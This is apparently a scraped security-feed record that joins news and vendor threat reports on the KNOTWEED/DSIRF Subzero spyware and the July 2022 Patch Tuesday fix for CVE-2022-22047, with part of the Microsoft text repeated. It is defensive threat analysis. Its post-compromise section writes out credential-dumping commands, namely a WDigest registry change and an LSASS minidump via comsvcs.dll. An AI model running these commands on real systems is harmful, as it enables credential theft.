Electric](<https://www.se.com/ww/en/work/support/cybersecurity/security-notifications.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting?

The company previously designated the name [SOURGUM](<https://thehackernews.com/2021/07/israeli-firm-helped-governments-target.html>) to Israeli spyware vendor Candiru.\n\nKNOTWEED is known to dabble in both access-as-a-service and [hack-for-hire](<https://thehackernews.com/2022/06/google-blocks-dozens-of-malicious.html>) operations, offering its toolset to third parties as well as directly associating itself in certain attacks.\n\nWhile the former entails the sales of end-to-end hacking tools that can be used by the purchaser in their own operations without the involvement of the offensive actor, hack-for-hire groups run the targeted operations on behalf of their clients.\n\nThe deployment of Subzero is said to have transpired through the exploitation of numerous issues, including an attack chain that abused an unknown Adobe Reader remote code execution (RCE) flaw and a zero-day privilege escalation bug ([CVE-2022-22047](<https://thehackernews.com/2022/07/microsoft-releases-fix-for-zero-day.html>)), the latter of which was addressed by Microsoft as part of its July Patch Tuesday updates.\n\n\"The exploits were packaged into a PDF document that was sent to the victim via email,\" Microsoft explained. \"CVE-2022-22047 was used in KNOTWEED related attacks for privilege escalation. The vulnerability also provided the ability to escape sandboxes and achieve system-level code execution.\"\n\nSimilar attack chains observed in 2021 leveraged a combination of two Windows privilege escalation exploits (CVE-2021-31199 and CVE-2021-31201) in conjunction with an Adobe reader flaw (CVE-2021-28550). The three vulnerabilities were [resolved](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) in June 2021.\n\nThe deployment of Subzero subsequently occurred through a fourth exploit, this time taking advantage of a privilege escalation vulnerability in the Windows Update Medic Service ([CVE-2021-36948](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>)), which was closed by Microsoft in August 2021.\n\nBeyond these exploit chains, Excel files masquerading as real estate documents have been used as a conduit to deliver the malware, with the files containing [Excel 4.0 macros](<https://thehackernews.com/2022/01/emotet-now-using-unconventional-ip.html>) designed to kick-start the infection process.\n\nRegardless of the method employed, the intrusions culminate in the execution of shellcode, which is used to retrieve a second-stage payload called Corelump from a remote server in the form of a JPEG image that also embeds a loader named Jumplump that, in turn, loads Corelump into memory.\n\nThe evasive implant comes with a wide range of capabilities, including keylogging, capturing screenshots, exfiltrating files, running a remote shell, and running arbitrary plugins downloaded from the remote server.\n\nAlso deployed during the attacks were bespoke utilities like Mex, a command-line tool to run open source security software like Chisel, and PassLib, a tool to dump credentials from web browsers, email clients, and the Windows credential manager.\n\nMicrosoft said it uncovered KNOTWEED actively serving malware since February 2020 through infrastructure hosted on DigitalOcean and Choopa, alongside identifying subdomains that are used for malware development, debugging Mex, and staging the Subzero payload.\n\nMultiple links have also been unearthed between DSIRF and the malicious tools used in KNOTWEED's attacks.\n\n\"These include command-and-control infrastructure used by the malware directly linking to DSIRF, a DSIRF-associated GitHub account being used in one attack, a code signing certificate issued to DSIRF being used to sign an exploit, and other open-source news reports attributing Subzero to DSIRF,\" Redmond noted.\n\nSubzero is no different from off-the-shelf malware such as [Pegasus](<https://thehackernews.com/2022/07/pegasus-spyware-used-to-hack-devices-of.html>), [Predator](<https://thehackernews.com/2022/05/cytroxs-predator-spyware-target-android.html>), [Hermit](<https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html>), and [DevilsTongue](<https://thehackernews.com/2022/07/candiru-spyware-caught-exploiting.html>), which are capable of infiltrating phones and Windows machines to remotely control the devices and siphon off data, sometimes without requiring the user to click on a malicious link.\n\nIf anything, the latest findings highlight a burgeoning international market for such sophisticated surveillance technologies to carry out targeted attacks aimed at members of civil society.\n\nAlthough companies that sell commercial spyware advertise their wares as a means to tackle serious crimes, evidence gathered so far has found [several instances](<https://thehackernews.com/2022/06/nso-confirms-pegasus-spyware-used-by-at.html>) of these tools being misused by authoritarian governments and private organizations to snoop on human rights advocates, journalists, dissidents, and politicians.\n\nGoogle's Threat Analysis Group (TAG), which is tracking over 30 vendors that hawk exploits or surveillance capabilities to state-sponsored actors, said the booming ecosystem underscores \"the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.\"\n\n\"These vendors operate with deep technical expertise to develop and operationalize exploits,\" TAG's Shane Huntley [said](<https://blog.google/threat-analysis-group/googles-efforts-to-identify-and-counter-spyware/>) in a testimony to the U.S. House Intelligence Committee on Wednesday, adding, \"its use is growing, fueled by demand from governments.\"\n\n \n\n\nFound this article interesting?

Microsoft\u2019s July Patch Tuesday includes an actively exploited local privilege escalation vulnerability in the Windows Client/Server Runtime Subsystem (CSRSS). This vulnerability immediately made it to the Cybersecurity &amp; Infrastructure Security Agency (CISA) list of [known to be exploited in the wild list](<https://blog.malwarebytes.com/reports/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities/>) that are due for patching by August 2, 2022.\n\n## Microsoft\n\nIn total the Microsoft updates include fixes for 84 vulnerabilities. Four of these vulnerabilities are labelled as \u201cCritical\u201d since they are remote code execution (RCE) vulnerabilities.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). These are the CVEs that ware assigned to the four Critical vulnerabilities:\n\n[CVE-2022-22029](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22029>): Windows Network File System (NFS) RCE vulnerability. This vulnerability is not exploitable in NFSV4.1. Prior to updating your version of Windows that protects against this vulnerability, you can mitigate an attack by disabling NFSV3, but this may adversely affect your ecosystem and should only be used as a temporary mitigation.\n\n[CVE-2022-22039](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22039>): Another Windows Network File System (NFS) RCE vulnerability. It&#x27;s possible to exploit this vulnerability over the network by making an unauthenticated, specially crafted call to a Network File System (NFS) service to trigger an RCE.\n\n[CVE-2022-22038](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22038>): Remote Procedure Call Runtime RCE vulnerability. Successful exploitation of this vulnerability requires an attacker to invest time in repeated exploitation attempts through sending constant or intermittent data.\n\n[CVE-2022-30221](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30221>): Windows Graphics Component RCE vulnerability. An attacker would have to convince a targeted user to connect to a malicious RDP server. On connecting, the malicious server could execute code on the victim&#x27;s system in the context of the targeted user.\n\n## Azure Site Recovery\n\nA huge part of the patches consist of 32 vulnerabilities in the Azure Site Recovery suite that could have allowed attackers to gain elevated privileges or perform remote code execution. [Azure Site Recovery](<https://docs.microsoft.com/en-us/azure/site-recovery/>) is an integrated disaster recovery service for Azure that helps ensure business continuity by keeping business apps and workloads running during outages.\n\nAccording to Microsoft, [SQL injection](<https://www.malwarebytes.com/glossary/sql-injection>) vulnerabilities caused most of the privilege escalation bugs in Azure Site Recovery.\n\n## CVE-2022-22047\n\nThe vulnerability that is known to be exploited in the wild is an elevation of privilege (EoP) vulnerability. An attacker who successfully exploited this vulnerability could gain SYSTEM privileges.\n\nThis type of vulnerability usually comes into play once an attacker has gained an initial foothold. They can then use this vulnerability to gain more permissions and expand their access to the compromised system.\n\nThe vulnerability is described as a Windows CSRSS Elevation of Privilege vulnerability. CSRSS is the Windows component that provides the user mode side of the Win32 subsystem. CSRSS is critical for a system\u2019s operation and is mainly responsible for Win32 console handling and GUI shutdown.\n\nThis type of vulnerability are often chained together with others in macros, which makes the decision to [roll back Office Macro blocking](<https://blog.malwarebytes.com/business/2022/07/microsoft-appears-to-be-rolling-back-office-macro-blocking/>) incomprehensible, even if it is only temporary.\n\n## Other vendors\n\nOther vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.\n\nAdobe released [security updates](<https://helpx.adobe.com/security.html>) for Acrobat, Character Animator, Photoshop, Reader, and RoboHelp.\n\nCisco released critical updates for Cisco Expressway Series, Cisco TelePresence Video Communication Server, Cisco Email Security Appliance, Cisco Secure Email and Web Manager, Cisco Small Business RV110W, RV130, RV130W, and RV215W routers, and [several other security updates](<https://tools.cisco.com/security/center/publicationListing.x>).\n\nCitrix released [hotfixes](<https://support.citrix.com/article/CTX461397/citrix-hypervisor-security-bulletin-for-cve202223816-and-cve202223825>) to address a problem that may affect Citrix Hypervisor and Citrix XenServer under some circumstances.\n\nGoogle released [Android&#x27;s July security updates](<https://source.android.com/security/bulletin/2022-07-01>) including 3 labelled as \u201cCritical\u201d.\n\nSAP released its [July 2022 Patch Day bulletin](<https://dam.sap.com/mac/app/e/pdf/preview/embed/ucQrx6G?ltr=a&rc=10>) with 20 new Security Notes.\n\nVMWare released [security updates](<https://www.vmware.com/security/advisories.html>).\n\nStay safe, everyone!\n\nThe post [Update now\u2014July Patch Tuesday patches include fix for exploited zero-day](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/07/update-now-july-patch-tuesday-patches-include-fix-for-exploited-zero-day/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-07-13T12:21:53", "type": "malwarebytes", "title": "Update now\u2014July Patch Tuesday patches include fix for exploited zero-day", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22029", "CVE-2022-22038", "CVE-2022-22039", "CVE-2022-22047", "CVE-2022-30221"], "modified": "2022-07-13T12:21:53", "id": "MALWAREBYTES:90BD6A9BB937B6617FDC4FE73A86B38A", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/07/update-now-july-patch-tuesday-patches-include-fix-for-exploited-zero-day/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2022-07-27T17:42:56", "description": "The Microsoft Threat Intelligence Center (MSTIC) and the Microsoft Security Response Center (MSRC) found a private-sector offensive actor (PSOA) using multiple Windows and Adobe 0-day exploits, including one for the recently patched [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>), in limited and targeted attacks against European and Central American customers. The PSOA, which MSTIC tracks as KNOTWEED, developed malware called Subzero which was used in these attacks.\n\nThis blog details Microsoft\u2019s analysis of the observed KNOTWEED activity and related malware used in targeted attacks against our customers. This information is shared with our customers and industry partners to improve detection of these attacks. Customers are encouraged to expedite deployment of the July 2022 Microsoft security updates to protect their systems against exploits using CVE-2022-22047. Microsoft Defender Antivirus and Microsoft Defender for Endpoint have also implemented detections against KNOTWEED\u2019s malware and tools.\n\nPSOAs, which [Microsoft also refers to as cyber mercenaries](<https://blogs.microsoft.com/on-the-issues/2022/07/27/private-sector-cyberweapons-psoas-knotweed/>), sell hacking tools or services through a variety of business models. Two common models for this type of actor are access-as-a-service and hack-for-hire. In access-as-a-service, the actor sells full end-to-end hacking tools that can be used by the purchaser in operations, with the PSOA not involved in any targeting or running of the operation. In hack-for-hire, detailed information is provided by the purchaser to the actor, who then runs the targeted operations. Based on observed attacks and news reports, MSTIC believes that KNOTWEED may blend these models: they sell the Subzero malware to third parties but have also been observed using KNOTWEED-associated infrastructure in some attacks, suggesting more direct involvement.\n\n## Who is KNOTWEED?\n\nKNOTWEED is an Austria-based PSOA named DSIRF. The [DSIRF website](<https://web.archive.org/web/20220713203741/https:/dsirf.eu/about/>) [web archive link] says they provide services_ \u201cto multinational corporations in the technology, retail, energy and financial sectors_\u201d and that they have \u201c_a set of highly sophisticated techniques in gathering and analyzing information._\u201d They publicly offer several services including \u201c_an enhanced due diligence and risk analysis process through providing a deep understanding of individuals and entities\u201d _and _\u201chighly sophisticated Red Teams to challenge your company&#x27;s most critical assets.\u201d_ \n \nHowever, [multiple](<https://www.intelligenceonline.com/surveillance--interception/2022/04/06/after-finfisher-s-demise-berlin-explores-cyber-tool-options,109766000-art>) [news](<https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html>) [reports](<https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich>) have linked DSIRF to the development and attempted sale of a malware toolset called Subzero. MSTIC found the Subzero malware being deployed through a variety of methods, including 0-day exploits in Windows and Adobe Reader, in 2021 and 2022. As part of our investigation into the utility of this malware, Microsoft\u2019s communications with a Subzero victim revealed that they had not commissioned any red teaming or penetration testing, and confirmed that it was unauthorized, malicious activity. Observed victims to date include law firms, banks, and strategic consultancies in countries such as Austria, the United Kingdom, and Panama. It\u2019s important to note that the identification of targets in a country doesn\u2019t necessarily mean that a DSIRF customer resides in the same country, as international targeting is common.\n\nMSTIC has found multiple links between DSIRF and the exploits and malware used in these attacks. These include command-and-control infrastructure used by the malware directly linking to DSIRF, a DSIRF-associated GitHub account being used in one attack, a code signing certificate issued to DSIRF being used to sign an exploit, and other open-source news reports attributing Subzero to DSIRF.\n\n## Observed actor activity\n\n### KNOTWEED initial access\n\nMSTIC found KNOTWEED\u2019s Subzero malware deployed in a variety of ways. In the succeeding sections, the different stages of Subzero are referred to by their Microsoft Defender detection names: _Jumplump _for the persistent loader and _Corelump _for the main malware.\n\n#### KNOTWEED exploits in 2022\n\nIn May 2022, MSTIC found an Adobe Reader remote code execution (RCE) and a 0-day Windows privilege escalation exploit chain being used in an attack that led to the deployment of Subzero. The exploits were packaged into a PDF document that was sent to the victim via email. Microsoft was not able to acquire the PDF or Adobe Reader RCE portion of the exploit chain, but the victim\u2019s Adobe Reader version was released in January 2022, meaning that the exploit used was either a 1-day exploit developed between January and May, or a 0-day exploit. Based on KNOTWEED\u2019s extensive use of other 0-days, we assess with medium confidence that the Adobe Reader RCE is a 0-day exploit. The Windows exploit was analyzed by MSRC, found to be a 0-day exploit, and then patched in July 2022 as CVE-2022-22047. Interestingly, there were indications in the Windows exploit code that it was also designed to be used from Chromium-based browsers, although we\u2019ve seen no evidence of browser-based attacks.\n\nThe CVE-2022-22047 vulnerability is related to an issue with [activation context](<https://docs.microsoft.com/windows/win32/sbscs/activation-contexts>) caching in the Client Server Run-Time Subsystem (CSRSS) on Windows. At a high level, the vulnerability could enable an attacker to provide a crafted assembly manifest, which would create a malicious activation context in the activation context cache, for an arbitrary process. This cached context is used the next time the process spawned.\n\nCVE-2022-22047 was used in KNOTWEED related attacks for privilege escalation. The vulnerability also provided the ability to escape sandboxes (with some caveats, as discussed below) and achieve system-level code execution. The exploit chain starts with writing a malicious DLL to disk from the sandboxed Adobe Reader renderer process. The CVE-2022-22047 exploit was then used to target a system process by providing an application manifest with an undocumented attribute that specified the path of the malicious DLL. Then, when the system process next spawned, the attribute in the malicious activation context was used, the malicious DLL was loaded from the given path, and system-level code execution was achieved.\n\nIt&#x27;s important to note that exploiting CVE-2022-22047 requires attackers to be able to write a DLL to disk. However, in the threat model of sandboxes, such as that of Adobe Reader and Chromium, the ability to write out files where the attacker _cannot_ control the path isn\u2019t considered dangerous. Hence, these sandboxes aren\u2019t a barrier to the exploitation of CVE-2022-22047.\n\n#### KNOTWEED exploits in 2021\n\nIn 2021, MSRC received a report of two Windows privilege escalation exploits ([CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>) and [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>)) being used in conjunction with an Adobe Reader exploit ([CVE-2021-28550](<https://helpx.adobe.com/security/products/acrobat/apsb21-29.html>)), all of which were patched in June 2021. MSTIC was able to confirm the use of these in an exploit chain used to deploy Subzero.\n\nWe were later able to link the deployment of Subzero to a fourth exploit, one related to a Windows privilege escalation vulnerability in the Windows Update Medic Service ([CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>)), which allowed an attacker to force the service to load an arbitrary signed DLL. The malicious DLL used in the attacks was signed by \u2018DSIRF GmbH\u2019.\n\nFigure 1. Valid digital signature from DSIRF on Medic Service exploit DLL\n\n#### Malicious Excel documents\n\nIn addition to the exploit chains, another method of access that led to the deployment of Subzero was an Excel file masquerading as a real estate document. The file contained a malicious macro that was obfuscated with large chunks of benign comments from the Kama Sutra, string obfuscation, and use of Excel 4.0 macros.\n\n Figure 2: Two examples of KNOTWEED Excel macro obfuscation\n\nAfter de-obfuscating strings at runtime, the VBA macro uses the _ExecuteExcel4Macro_ function to call native Win32 functions to load shellcode into memory allocated using _VirtualAlloc_. Each opcode is individually copied into a newly allocated buffer using _memset_ before _CreateThread_ is called to execute the shellcode.\n\nFigure 3: Copying opcodes Figure 4: Calling CreateThread on shellcode\n\nThe following section describes the shellcode executed by the macro.\n\n### KNOTWEED malware and tactics, techniques, and procedures (TTPs)\n\n#### Corelump downloader and loader shellcode\n\nThe downloader shellcode is the initial shellcode executed from either the exploit chains or malicious Excel documents. The shellcode&#x27;s purpose is to retrieve the _Corelump_ second-stage malware from the actor\u2019s command-and-control (C2) server. The downloader shellcode downloads a JPEG image that contains extra encrypted data appended to the end of the file (past the _0xFF 0xD9_ marker that signifies the end of a JPEG file). The JPEG is then written to the user\u2019s _%TEMP%_ directory.\n\nFigure 5: One of the images embedded with the loader shellcode and Corelump\n\nThe downloader shellcode searches for a 16-byte marker immediately following the end of JPEG. After finding the marker, the downloader shellcode RC4 decrypts the loader shellcode using the next 16 bytes as the RC4 key. Finally, the loader shellcode RC4 decrypts the _Corelump_ malware using a second RC4 key and manually loads it into memory.\n\n#### Corelump malware\n\n_Corelump _is the main payload and resides exclusively in memory to evade detection. It contains a variety of capabilities including keylogging, capturing screenshots, exfiltrating files, running a remote shell, and running arbitrary plugins downloaded from KNOTWEED\u2019s C2 server.\n\nAs part of installation, _Corelump_ makes copies of legitimate Windows DLLs and overwrites sections of them with malicious code. As part of this process, _Corelump_ also modifies the fields in the PE header to accommodate the nefarious changes, such as adding new exported functions, disabling [Control Flow Guard](<https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard>), and modifying the image file checksum with a computed value from _CheckSumMappedFile._ These trojanized binaries (_Jumplump_) are dropped to disk in _C:\\Windows\\System32\\spool\\drivers\\color\\_, and COM registry keys are modified for persistence (see the Behaviors section for more information on COM hijacking).\n\n#### Jumplump loader\n\n_Jumplump _is responsible for loading _Corelump _into memory from the JPEG file in the %TEMP% directory. If _Corelump_ is not present, _Jumplump_ attempts to download it again from the C2 server. Both_ Jumplump _and the downloader shellcode are heavily obfuscated to make analysis difficult, with most instructions being followed by a jmp to another instruction/jmp combination, giving a convoluted control flow throughout the program.\n\nFigure 6: Disassembly showing the jmp/instruction obfuscation used in Jumplump\n\n#### Mex and PassLib\n\nKNOTWEED was also observed using the bespoke utility tools Mex and PassLib. These tools are developed by KNOTWEED and bear capabilities that are derived from publicly available sources. Mex, for example, is a command-line tool containing several red teaming or security plugins copied from GitHub (listed below):\n\n[Chisel](<https://github.com/jpillora/chisel>)| [mimikatz](<https://github.com/ParrotSec/mimikatz>)| [SharpHound3](<https://github.com/BloodHoundAD/SharpHound3>) \n---|---|--- \n[Curl](<https://github.com/curl/curl>)| [Ping Castle](<https://github.com/vletoux/pingcastle>)| [SharpOxidResolver](<https://github.com/S3cur3Th1sSh1t/SharpOxidResolver>) \n[Grouper2](<https://github.com/l0ss/Grouper2>)| [Rubeus](<https://github.com/GhostPack/Rubeus>)| [PharpPrinter](<https://github.com/rvrsh3ll/SharpPrinter>) \n[Internal Monologue](<https://github.com/eladshamir/Internal-Monologue>)| [SCShell](<https://github.com/Mr-Un1k0d3r/SCShell>)| [SpoolSample](<https://github.com/leechristensen/SpoolSample>) \n[Inveigh](<https://github.com/Kevin-Robertson/Inveigh>)| [Seatbelt](<https://github.com/GhostPack/Seatbelt>)| [StandIn](<https://github.com/FuzzySecurity/StandIn>) \n[Lockless](<https://github.com/GhostPack/Lockless>)| [SharpExec](<https://github.com/anthemtotheego/SharpExec>)| \n \nPassLib is a custom password stealer tool capable of dumping credentials from a variety of sources including web browsers, email clients, LSASS, LSA secrets, and the Windows credential manager.\n\n#### Post-compromise actions\n\nIn victims where KNOTWEED malware had been used, a variety of post-compromise actions were observed:\n\n * Setting of _UseLogonCredential _to \u201c1\u201d to enable plaintext credentials:\n * _reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f_\n * Credential dumping via _comsvcs.dll_:\n * _rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump_\n * Attempt to access emails with dumped credentials from a KNOTWEED IP address\n * Using Curl to download KNOTWEED tooling from public file shares such as _vultrobjects[.]com_\n * Running PowerShell scripts directly from a GitHub gist created by an account associated with DSIRF\n\n### KNOTWEED infrastructure connections to DSIRF\n\nPivoting off a known command-and-control domain identified by MSTIC, _acrobatrelay[.]com_, RiskIQ expanded the view of KNOTWEED&#x27;s attack infrastructure. Leveraging unique patterns in the use of SSL certificates and other network fingerprints specific to the group and associated with that domain, RiskIQ identified a host of additional IP addresses under the control of KNOTWEED. This infrastructure, largely hosted by Digital Ocean and Choopa, has been actively serving malware since at least February of 2020 and continues through the time of this writing.\n\nRiskIQ next utilized passive DNS data to determine which domains those IPs resolved to at the time they were malicious. This process yielded several domains with direct links to DSIRF, including _demo3[.]dsirf[.]eu_ (the company&#x27;s own website), and several subdomains that appear to have been used for malware development, including _debugmex[.]dsirflabs[.]eu_ (likely a server used for debugging malware with the bespoke utility tool Mex) and _szstaging[.]dsirflabs[.]eu_ (likely a server used to stage Subzero malware).\n\n## Detection and prevention\n\nMicrosoft will continue to monitor KNOTWEED activity and implement protections for our customers. The current detections and IOCs detailed below are in place and protecting Microsoft customers across our security products. Additional advanced hunting queries are also provided below to help organizations extend their protections and investigations of these attacks.\n\n### Behaviors\n\n_Corelump _drops the_ Jumplump_ loader DLLs to _C:\\Windows\\System32\\spool\\drivers\\color\\\\. _This is a common directory used by malware as well as some legitimate programs, so writes of PE files to the folder should be monitored.\n\n_Jumplump_ uses COM hijacking for persistence, modifying COM registry keys to point to the _Jumplump_ DLL in _C:\\Windows\\System32\\spool\\drivers\\color\\_. Modifications of default system CLSID values should be monitored to detect this technique (e.g., _HKLM\\SOFTWARE\\Classes\\CLSID\\\\{GUID}\\InProcServer32 Default_ value). The five CLSIDs used by _Jumplump_ are listed below with their original clean values on Windows 11:\n\n * {ddc05a5a-351a-4e06-8eaf-54ec1bc2dcea} = &quot;_%SystemRoot%\\System32\\ApplicationFrame.dll_&quot;\n * {1f486a52-3cb1-48fd-8f50-b8dc300d9f9d} = &quot;_%SystemRoot%\\system32\\propsys.dll_&quot;\n * {4590f811-1d3a-11d0-891f-00aa004b2e24} = &quot;_%SystemRoot%\\system32\\wbem\\wbemprox.dll_&quot;\n * {4de225bf-cf59-4cfc-85f7-68b90f185355} = &quot;_%SystemRoot%\\system32\\wbem\\wmiprvsd.dll_&quot;\n * {F56F6FDD-AA9D-4618-A949-C1B91AF43B1A} = &quot;_%SystemRoot%\\System32\\Actioncenter.dll_&quot;\n\nMany of the post-compromise actions can be detected based on their command lines. Customers should monitor for possible malicious activity such as PowerShell executing scripts from internet locations, modification of commonly abused registry keys such as _HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest, _and LSASS credential dumping via minidumps.\n\n## Recommended customer actions\n\nThe techniques used by the actor and described in the Observed actor activity section can be mitigated by adopting the security considerations provided below:\n\n * All customers should prioritize patching of [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>).\n * Confirm that Microsoft Defender Antivirus is updated to security intelligence update **1.371.503.0** or later to detect the related indicators.\n * Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.\n * [Change Excel macro security settings](<https://support.microsoft.com/office/change-macro-security-settings-in-excel-a97c09d2-c082-46b8-b19f-e8621e8fe373>) to control which macros run and under what circumstances when you open a workbook. Customers can also [stop malicious XLM or VBA macros](<https://www.microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware/>) by ensuring runtime macro scanning by Antimalware Scan Interface ([AMSI](<https://docs.microsoft.com/windows/win32/amsi/antimalware-scan-interface-portal>)) is on. This feature\u2014enabled by default\u2014is on if the Group Policy setting for Macro Run Time Scan Scope is set to \u201cEnable for All Files\u201d or \u201cEnable for Low Trust Files\u201d.\n * Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. _Note:_ Microsoft strongly encourages all customers download and use password-less solutions like [Microsoft Authenticator](<https://www.microsoft.com/account/authenticator/>) to secure accounts.\n * Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.\n\n## Indicators of compromise (IOCs)\n\nThe following list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Response Center (MSRC) found a private-sector offensive actor (PSOA) using multiple Windows and Adobe 0-day exploits, including one for the recently patched [CVE-2022-22047](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22047>), in limited and targeted attacks against European and Central American customers. The PSOA, which MSTIC tracks as KNOTWEED, developed malware called Subzero which was used in these attacks.\n\nThis blog details Microsoft\u2019s analysis of the observed KNOTWEED activity and related malware used in targeted attacks against our customers. This information is shared with our customers and industry partners to improve detection of these attacks. Customers are encouraged to expedite deployment of the July 2022 Microsoft security updates to protect their systems against exploits using CVE-2022-22047. Microsoft Defender Antivirus and Microsoft Defender for Endpoint have also implemented detections against KNOTWEED\u2019s malware and tools.\n\nPSOAs, which [Microsoft also refers to as cyber mercenaries](<https://blogs.microsoft.com/on-the-issues/2022/07/27/private-sector-cyberweapons-psoas-knotweed/>), sell hacking tools or services through a variety of business models. Two common models for this type of actor are access-as-a-service and hack-for-hire. In access-as-a-service, the actor sells full end-to-end hacking tools that can be used by the purchaser in operations, with the PSOA not involved in any targeting or running of the operation. In hack-for-hire, detailed information is provided by the purchaser to the actor, who then runs the targeted operations. Based on observed attacks and news reports, MSTIC believes that KNOTWEED may blend these models: they sell the Subzero malware to third parties but have also been observed using KNOTWEED-associated infrastructure in some attacks, suggesting more direct involvement.\n\n## Who is KNOTWEED?\n\nKNOTWEED is an Austria-based PSOA named DSIRF. The [DSIRF website](<https://web.archive.org/web/20220713203741/https:/dsirf.eu/about/>) [web archive link] says they provide services_ \u201cto multinational corporations in the technology, retail, energy and financial sectors_\u201d and that they have \u201c_a set of highly sophisticated techniques in gathering and analyzing information._\u201d They publicly offer several services including \u201c_an enhanced due diligence and risk analysis process through providing a deep understanding of individuals and entities\u201d _and _\u201chighly sophisticated Red Teams to challenge your company&#x27;s most critical assets.\u201d_ \n \nHowever, [multiple](<https://www.intelligenceonline.com/surveillance--interception/2022/04/06/after-finfisher-s-demise-berlin-explores-cyber-tool-options,109766000-art>) [news](<https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html>) [reports](<https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich>) have linked DSIRF to the development and attempted sale of a malware toolset called Subzero. MSTIC found the Subzero malware being deployed through a variety of methods, including 0-day exploits in Windows and Adobe Reader, in 2021 and 2022. As part of our investigation into the utility of this malware, Microsoft\u2019s communications with a Subzero victim revealed that they had not commissioned any red teaming or penetration testing, and confirmed that it was unauthorized, malicious activity. Observed victims to date include law firms, banks, and strategic consultancies in countries such as Austria, the United Kingdom, and Panama. It\u2019s important to note that the identification of targets in a country doesn\u2019t necessarily mean that a DSIRF customer resides in the same country, as international targeting is common.\n\nMSTIC has found multiple links between DSIRF and the exploits and malware used in these attacks. These include command-and-control infrastructure used by the malware directly linking to DSIRF, a DSIRF-associated GitHub account being used in one attack, a code signing certificate issued to DSIRF being used to sign an exploit, and other open-source news reports attributing Subzero to DSIRF.\n\n## Observed actor activity\n\n### KNOTWEED initial access\n\nMSTIC found KNOTWEED\u2019s Subzero malware deployed in a variety of ways. In the succeeding sections, the different stages of Subzero are referred to by their Microsoft Defender detection names: _Jumplump _for the persistent loader and _Corelump _for the main malware.\n\n#### KNOTWEED exploits in 2022\n\nIn May 2022, MSTIC found an Adobe Reader remote code execution (RCE) and a 0-day Windows privilege escalation exploit chain being used in an attack that led to the deployment of Subzero. The exploits were packaged into a PDF document that was sent to the victim via email. Microsoft was not able to acquire the PDF or Adobe Reader RCE portion of the exploit chain, but the victim\u2019s Adobe Reader version was released in January 2022, meaning that the exploit used was either a 1-day exploit developed between January and May, or a 0-day exploit. Based on KNOTWEED\u2019s extensive use of other 0-days, we assess with medium confidence that the Adobe Reader RCE is a 0-day exploit. The Windows exploit was analyzed by MSRC, found to be a 0-day exploit, and then patched in July 2022 as CVE-2022-22047. Interestingly, there were indications in the Windows exploit code that it was also designed to be used from Chromium-based browsers, although we\u2019ve seen no evidence of browser-based attacks.\n\nThe 